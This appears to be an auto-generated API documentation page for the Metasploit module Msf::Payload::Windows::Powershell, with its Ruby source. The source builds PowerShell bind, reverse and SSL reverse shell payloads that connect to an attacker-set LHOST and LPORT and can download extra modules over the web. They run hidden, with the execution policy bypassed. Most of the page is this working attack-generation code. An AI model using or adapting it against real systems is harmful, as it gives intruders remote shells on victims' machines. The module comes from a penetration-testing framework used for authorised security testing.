Module: Msf::Payload::Windows::Powershell

Defined in:
lib/msf/core/payload/windows/powershell.rb

Overview

Implements an overarching powershell payload generation module

Instance Method Summary collapse

Instance Method Details

#command_string ⇒ Object

[View source] [View on GitHub]

70
71
72
 
# File 'lib/msf/core/payload/windows/powershell.rb', line 70

def command_string
  powershell_command
end

#generate_powershell_code(conntype) ⇒ Object

[View source] [View on GitHub]

27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
 
# File 'lib/msf/core/payload/windows/powershell.rb', line 27

def generate_powershell_code(conntype)
  lport = datastore['LPORT']
  lhost = datastore['LHOST']

  template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
  script_in = ""
  ::File.open(template_path, "rb") do |fd|
    script_in << fd.read(fd.stat.size)
  end
  mods = ''

  if conntype == "Bind"
    script_in << "\npowerfun -Command bind"
  elsif conntype == "SSL"
    script_in << "\npowerfun -Command reverse -Sslcon true"
  elsif conntype == "Reverse"
    script_in << "\npowerfun -Command reverse"
  end

  if datastore['LOAD_MODULES']
    mods_array = datastore['LOAD_MODULES'].to_s.split(',')
    mods_array.collect(&:strip)
    print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
    mods_array.each {|m| vprint_good " #{m}"}
    mods = "\"#{mods_array.join("\",\n\"")}\""
    script_in << " -Download true\n"
  end

  script_in.gsub!('MODULES_REPLACE', mods)
  script_in.gsub!('LPORT_REPLACE', lport.to_s)
  script_in.gsub!('LHOST_REPLACE', lhost.to_s)

  script = Rex::Powershell::Command.compress_script(script_in)
  command_args = {
      noprofile: true,
      windowstyle: 'hidden',
      noninteractive: true,
      executionpolicy: 'bypass'
  }
  cli =  Rex::Powershell::Command.generate_psh_command_line(command_args)
  return "#{cli} \"#{script}\""
end

#initialize(info = {}) ⇒ Object

[View source] [View on GitHub]

13
14
15
16
17
18
19
20
21
22
23
24
25
 
# File 'lib/msf/core/payload/windows/powershell.rb', line 13

def initialize(info = {})
  ret = super(info)

  # Register command execution options
  register_options(
    [
      OptString.new('LOAD_MODULES', [ false, 'A list of powershell modules separated by a comma to download over the web', nil ]),
    ]
  )
  # Hide the CMD option
  deregister_options('CMD')
  ret
end